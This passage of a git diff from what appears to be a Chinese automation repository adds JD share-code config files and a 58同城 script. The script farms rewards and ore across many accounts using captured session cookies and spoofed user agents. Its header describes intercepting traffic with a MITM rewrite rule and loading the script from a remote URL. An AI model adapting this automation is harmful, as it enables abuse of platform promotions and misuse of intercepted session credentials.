Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +USER_AGENTS = USER_AGENTS[random.randint(0, len(USER_AGENTS) - 1)] + + +def root(): + if 'Options:' in os.popen('sudo -h').read() or re.match(r'[C-Z]:.*', os.getcwd()): + return True + else: + print('珍爱ck,远离docker') + return False diff --git a/jdFactoryShareCodes.js b/jdFactoryShareCodes.js new file mode 100644 index 0000000..c45eb2a --- /dev/null +++ b/jdFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +东东工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DDFACTORY_SHARECODES.length > 0 && !process.env.DDFACTORY_SHARECODES) { +// process.env.DDFACTORY_SHARECODES = logShareCodes.DDFACTORY_SHARECODES.join('&'); +// } + +// 判断环境变量里面是否有东东工厂互助码 +if (process.env.DDFACTORY_SHARECODES) { + if (process.env.DDFACTORY_SHARECODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('&'); + } else if (process.env.DDFACTORY_SHARECODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.DDFACTORY_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(DDFACTORY_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} \ No newline at end of file diff --git a/jdFruitShareCodes.js b/jdFruitShareCodes.js new file mode 100644 index 0000000..677d2b0 --- /dev/null +++ b/jdFruitShareCodes.js @@ -0,0 +1,37 @@ +/* +东东农场互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京东东农场的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let FruitShareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.FRUITSHARECODES.length > 0 && !process.env.FRUITSHARECODES) { +// process.env.FRUITSHARECODES = logShareCodes.FRUITSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东农场互助码 +if (process.env.FRUITSHARECODES) { + if (process.env.FRUITSHARECODES.indexOf('&') > -1) { + console.log(`您的东东农场互助码选择的是用&隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('&'); + } else if (process.env.FRUITSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东农场互助码选择的是用换行隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('\n'); + } else { + FruitShareCodes = process.env.FRUITSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(FRUITSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < FruitShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['FruitShareCode' + index] = FruitShareCodes[i]; +} diff --git a/jdJxncShareCodes.js b/jdJxncShareCodes.js new file mode 100644 index 0000000..8c8a25f --- /dev/null +++ b/jdJxncShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜农场助力码 +此助力码要求种子 active 相同才能助力,多个账号的话可以种植同样的种子,如果种子不同的话,会自动跳过使用云端助力 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京京喜农场的好友码。 +// 同一个京东账号的好友助力码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 每个账号 shareCdoe 是一个 json,示例如下 +// {"smp":"22bdadsfaadsfadse8a","active":"jdnc_1_btorange210113_2","joinnum":"1"} +let JxncShareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] +// 判断github action里面是否有京喜农场助力码 +if (process.env.JXNC_SHARECODES) { + if (process.env.JXNC_SHARECODES.indexOf('&') > -1) { + console.log(`您的京喜农场助力码选择的是用&隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('&'); + } else if (process.env.JXNC_SHARECODES.indexOf('\n') > -1) { + console.log(`您的京喜农场助力码选择的是用换行隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('\n'); + } else { + JxncShareCodes = process.env.JXNC_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量里面(JXNC_SHARECODES)未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +JxncShareCodes = JxncShareCodes.filter(item => !!item); +for (let i = 0; i < JxncShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['JxncShareCode' + index] = JxncShareCodes[i]; +} diff --git a/jdPetShareCodes.js b/jdPetShareCodes.js new file mode 100644 index 0000000..a7c4422 --- /dev/null +++ b/jdPetShareCodes.js @@ -0,0 +1,37 @@ +/* +东东萌宠互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PetShareCodes = [ + 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PETSHARECODES.length > 0 && !process.env.PETSHARECODES) { +// process.env.PETSHARECODES = logShareCodes.PETSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东萌宠互助码 +if (process.env.PETSHARECODES) { + if (process.env.PETSHARECODES.indexOf('&') > -1) { + console.log(`您的东东萌宠互助码选择的是用&隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('&'); + } else if (process.env.PETSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东萌宠互助码选择的是用换行隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('\n'); + } else { + PetShareCodes = process.env.PETSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PETSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PetShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PetShareCode' + index] = PetShareCodes[i]; +} \ No newline at end of file diff --git a/jdPlantBeanShareCodes.js b/jdPlantBeanShareCodes.js new file mode 100644 index 0000000..fff431b --- /dev/null +++ b/jdPlantBeanShareCodes.js @@ -0,0 +1,37 @@ +/* +京东种豆得豆互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PlantBeanShareCodes = [ + '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PLANT_BEAN_SHARECODES.length > 0 && !process.env.PLANT_BEAN_SHARECODES) { +// process.env.PLANT_BEAN_SHARECODES = logShareCodes.PLANT_BEAN_SHARECODES.join('&'); +// } + +// 判断github action里面是否有种豆得豆互助码 +if (process.env.PLANT_BEAN_SHARECODES) { + if (process.env.PLANT_BEAN_SHARECODES.indexOf('&') > -1) { + console.log(`您的种豆互助码选择的是用&隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('&'); + } else if (process.env.PLANT_BEAN_SHARECODES.indexOf('\n') > -1) { + console.log(`您的种豆互助码选择的是用换行隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('\n'); + } else { + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PLANT_BEAN_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PlantBeanShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PlantBeanShareCodes' + index] = PlantBeanShareCodes[i]; +} diff --git a/jd_58.js b/jd_58.js new file mode 100644 index 0000000..3ca958b --- /dev/null +++ b/jd_58.js @@ -0,0 +1,883 @@ +/* +58同城 + +安卓貌似需要root才能捉到包,IOS随便捉 +多账号切换账号不能退出登录 + +手动捉包把PPU=UID=xxxx&UN=yyyy&...填到wbtcCookie里,多账号换行隔开 +注意前面有个PPU=,捉包只有UID=xxx的话手动加上 + +自定义UA:填到wbtcUA里,不填默认IOS15的UA + +只做普通任务一天3毛左右,跑小游戏的话一天5毛到6毛 +账号能刷到新手奖励的话每天额外8毛4,前七天还有每天额外3毛(满5提现到矿石),第一天做完新手任务就能提5块 +先登录,点我的->神奇矿->装扮我的家,过了引导剧情,然后再跑脚本 +游戏赚矿石里的三个小游戏需要投入矿石去赚更多,脚本默认不跑 +如果要跑,在wbtcCookie的对应账号后面加上#1,但是跑久了有可能触发滑块,需要自己去点一次,否则要被反撸矿石 + +定时不跑小游戏就每天7点后跑5次,跑小游戏就每小时一次 + +V2P/圈叉: +[task_local] +#58同城 +7 7-12 * * * https://raw.githubusercontent.com/leafTheFish/DeathNote/main/58tc.js, tag=58同城, enabled=true +[rewrite_local] +https://magicisland.58.com/web/sign/getIndexSignInInfo url script-request-header https://raw.githubusercontent.com/leafTheFish/DeathNote/main/58tc.js +[MITM] +hostname = magicisland.58.com +*/ +const $ = new Env("58同城") +const jsname = '58同城' +const logDebug = 0 + +const notifyFlag = 1; //0为关闭通知,1为打开通知,默认为1 +const notify = $.isNode() ? require('./sendNotify') : ''; +let notifyStr = '' + +let httpResult //global buffer + +let userCookie = ($.isNode() ? process.env.wbtcCookie : $.getdata('wbtcCookie')) || ''; +let userUA = ($.isNode() ? process.env.wbtcUA : $.getdata('wbtcUA')) || 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 WUBA/10.26.5'; +let userCookieArr = [] +let userList = [] + +let userIdx = 0 +let userCount = 0 + +//let taskList = [1,2,3,4,5,6,7,9,10,13,15,16] +let taskList = [9,10,13] +let TASK_TIME = [7,24] +let attendType = {'oneDay':'一天打卡', 'multiDay':'三天打卡'} + +let curHour = (new Date()).getHours() + +let maxTaskLen = 0 +let maxRewardLen = 0 + +/////////////////////////////////////////////////////////////////// +class UserInfo { + constructor(str) { + let strArr = str.split('#') + this.index = ++userIdx + this.cookie = strArr[0] + this.cashSign = true + this.newbie = {} + this.house = {} + this.mining = {} + this.auction = {} + this.ore = {} + this.task = [] + this.reward = [] + this.runTask = strArr[1] || 0 + + let taskStr = this.runTask==1 ? '投入' : '不投入' + console.log(`账号[${this.index}]现在小游戏矿石设置为:${taskStr}`) + } + + async getTaskList(sceneId) { + let url = `https://taskframe.58.com/web/task/dolist?sceneId=${sceneId}&openpush=0&source=` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + if(!result.result.taskList) return; + //status: 0 - 未完成,1 - 已完成,2 - 已领取 + for(let task of result.result.taskList) { + let doneStr = '' + if(task.taskTotalCount) { + doneStr = ` ${task.taskDoneCount}/${task.taskTotalCount}` + } + let statusStr = (task.status==0) ? '未完成' : ((task.status==1) ? '已完成' : '已领取') + console.log(`账号[${this.index}]任务[${sceneId}-${task.itemId}]:${doneStr} +${task.rewardDisplayValue} ${statusStr}`) + if(task.status == 0) { + this.task.push({sceneId:sceneId,taskId:task.itemId}) + } else if(task.status == 1) { + this.reward.push({sceneId:sceneId,taskId:task.itemId}) + } + } + } else { + console.log(`账号[${this.index}]查询任务列表失败: ${result.message}`) + } + } + + async doTask(sceneId,taskId) { + let time = (new Date()).getTime() + let sign = MD5Encrypt(`${time}${taskId}`) + let url = `https://taskframe.58.com/web/task/dotask?timestamp=${(new Date()).getTime()}&sign=${sign}&taskId=${taskId}`//&taskData=15` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]完成任务[${sceneId}-${taskId}]`) + } else { + console.log(`账号[${this.index}]完成任务[${sceneId}-${taskId}]失败: ${result.message}`) + } + } + + async getReward(sceneId,taskId) { + let time = (new Date()).getTime() + let sign = MD5Encrypt(`${time}${taskId}`) + let url = `https://taskframe.58.com/web/task/reward?timestamp=${(new Date()).getTime()}&sign=${sign}&taskId=${taskId}` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]领取任务[${sceneId}-${taskId}]奖励成功`) + } else { + console.log(`账号[${this.index}]领取任务[${sceneId}-${taskId}]奖励失败: ${result.message}`) + } + } + + async newbieMaininfo() { + let url = `https://rightsplatform.58.com/web/motivate/maininfo` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.newbie.coin = parseFloat(result.result.coin) + this.newbie.isWithdraw = result.result.userWithdraw + if(result.result.todaySignDay<=7) { + this.newbie.signItem = result.result.signInfo[result.result.todaySignDay-1] + let signStr = (this.newbie.signItem.status==0) ? '未签到' : '已签到' + console.log(`账号[${this.index}]今日新手任务${signStr}`) + if(this.newbie.signItem.status == 0) { + await $.wait(500) + await this.newbieSign() + } + } + console.log(`账号[${this.index}]新手金币余额:${this.newbie.coin}`) + if(this.newbie.isWithdraw==false) { + let sortList = result.result.withdrawInfo.sort(function(a,b) {return b.cardAmount-a.cardAmount}) + for(let withItem of sortList) { + if(this.newbie.coin >= withItem.cardCoin) { + await $.wait(500) + await this.newbieWithdraw(withItem) + } + } + } + } else { + console.log(`账号[${this.index}]查询新手主页失败: ${result.message}`) + } + } + + async newbieSign() { + let url = `https://rightsplatform.58.com/web/motivate/sign` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.newbie.coin += parseFloat(this.newbie.signItem.signCoin) + console.log(`账号[${this.index}]新手任务第${this.newbie.signItem.number}天签到成功,获得${this.newbie.signItem.signCoin}金币`) + } else { + console.log(`账号[${this.index}]新手任务签到失败: ${result.message}`) + } + } + + async newbieWithdraw(withItem) { + let url = `https://rightsplatform.58.com/web/motivate/withdraw` + let body = `id=${withItem.id}` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]成功兑换${withItem.cardAmount}元到矿石余额`) + } else { + console.log(`账号[${this.index}]兑换${withItem.cardAmount}元到矿石余额失败: ${result.message}`) + } + } + + async houseSignStatus() { + let url = `https://lovely-house.58.com/sign/info` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + for(let item of result.result) { + if(item.today == true) { + let signStr = (item.sign==false) ? '未签到' : '已签到' + console.log(`账号[${this.index}]今日我的家${signStr}`) + if(item.sign == false) { + await $.wait(500) + await this.houseSign() + } + break; + } + } + } else { + console.log(`账号[${this.index}]查询我的家签到状态失败: ${result.message}`) + } + } + + async houseSign() { + let url = `https://lovely-house.58.com/sign/signin` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]我的家签到成功,获得${result.result.gold}金币`) + } else { + console.log(`账号[${this.index}]我的家签到失败: ${result.message}`) + } + } + + async houseWithdrawPage() { + let url = `https://lovely-house.58.com/web/exchange/info` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.house.coin = result.result.coin + console.log(`账号[${this.index}]我的家金币余额:${this.house.coin}`) + let sortList = result.result.oreList.sort(function(a,b) {return b.amount-a.amount}) + if(sortList.length>0 && sortList[0].oreStatus == 0 && this.house.coin >= sortList[0].coin) { + await $.wait(500) + await this.houseWithdraw(sortList[0]) + } + } else { + console.log(`账号[${this.index}]查询我的家兑换页失败: ${result.message}`) + } + } + + async houseWithdraw(withItem) { + let url = `https://lovely-house.58.com/web/exchange/ore` + let body = `id=${withItem.id}` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]成功兑换${withItem.amount}矿石 ≈ ${withItem.money}元`) + } else { + console.log(`账号[${this.index}]兑换${withItem.amount}矿石失败: ${result.message}`) + } + } + + async oreMainpage(dotask=true) { + let url = `https://magicisland.58.com/web/mineral/main?openSettings=0` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.ore.sign = result.result.tasks.sign.state + this.ore.dailyore = result.result.userInfo.dailyOre + this.ore.ore = parseFloat(result.result.userInfo.minerOre) + this.ore.money = parseFloat(result.result.userInfo.minerOreValue) + if(dotask) { + let gameStatus = result.result.games.gameProcess + let gameStr = '' + if(gameStatus.awardState==0) { + if(gameStatus.gameNum==gameStatus.joinedNum) { + this.ore.gameFlag = 1 + gameStr = '已完成' + } else { + this.ore.gameFlag = 0 + gameStr = '未完成' + } + } else { + this.ore.gameFlag = 2 + gameStr = '已领取' + } + let signStr = (this.ore.sign==0) ? '未签到' : '已签到' + let dailyStr = (this.ore.dailyore==0) ? '未采集' : '已采集' + console.log(`账号[${this.index}]今日神奇矿${dailyStr},${signStr},参加三个小游戏任务${gameStr}`) + if(this.ore.sign==0) { + await $.wait(500) + await this.oreSign() + } + if(this.ore.dailyore==0) { + await $.wait(500) + await this.getDailyore() + } + if(this.ore.gameFlag==1) { + await $.wait(500) + await this.oreGameScore() + } + console.log(`账号[${this.index}]神奇矿余额${this.ore.ore} ≈ ${this.ore.money.toFixed(2)}元`) + } + } else { + console.log(`账号[${this.index}]查询神奇矿主页失败: ${result.message}`) + } + } + + async getDailyore() { + let url = `https://magicisland.58.com/web/mineral/dailyore` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]采集神奇矿成功`) + } else { + console.log(`账号[${this.index}]采集神奇矿失败: ${result.message}`) + } + } + + async oreSign() { + let url = `https://magicisland.58.com/web/sign/signInV2?sessionId=&successToken=&scene=null` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.ore.ore += parseFloat(result.result.ore) + this.ore.money += parseFloat(result.result.amount) + console.log(`账号[${this.index}]神奇矿签到成功,获得${result.result.ore}矿石 ≈ ${result.result.amount}元`) + } else { + console.log(`账号[${this.index}]神奇矿签到失败: ${result.message}`) + } + } + + async miningUserInfo() { + let url = `https://magicisland.58.com/web/mining/userInfo` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.mining.enroll = result.result.status + let enrollStr = (this.mining.enroll==0) ? '未召唤小帮手' : '已召唤小帮手' + console.log(`账号[${this.index}]神奇矿山${enrollStr}`) + if(result.result.grantList && result.result.grantList.length > 0) { + for(let mines of result.result.grantList) { + await $.wait(500) + await this.miningGain(mines.id) + } + this.mining.enroll = 0 + } + if(this.runTask == 1 && this.mining.enroll==0) { + if(parseFloat(result.result.usableOre) >= result.result.threshold) { + await $.wait(500) + await this.miningEnroll() + } else { + console.log(`账号[${this.index}]可用矿石余额${result.result.usableOre}不足,不能花费${result.result.threshold}矿石召唤小帮手`) + } + } + } else { + console.log(`账号[${this.index}]查询神奇矿山主页失败: ${result.message}`) + } + } + + async miningGain(id) { + let url = `https://magicisland.58.com/web/mining/gain?id=${id}` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]神奇矿山成功收取${result.result.gainOre}矿石`) + } else { + console.log(`账号[${this.index}]神奇矿山收取矿石失败: ${result.message}`) + } + } + + async miningEnroll() { + let url = `https://magicisland.58.com/web/mining/enroll` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]神奇矿山召唤小帮手成功`) + } else { + console.log(`账号[${this.index}]神奇矿山召唤小帮手失败: ${result.message}`) + } + } + + async auctionInfo() { + let url = `https://magicisland.58.com/web/auction/second` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/lowauctiondetail' + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.auction.status = result.result.bidInfo.bidStatus + let auctionStr = (this.auction.status==0) ? '未参与竞拍' : '已参与竞拍' + console.log(`账号[${this.index}]今天${auctionStr}`) + let maxBid = parseFloat(result.result.userInfo.usableOre) + let bidNum = 1 + if(this.runTask == 1) { + 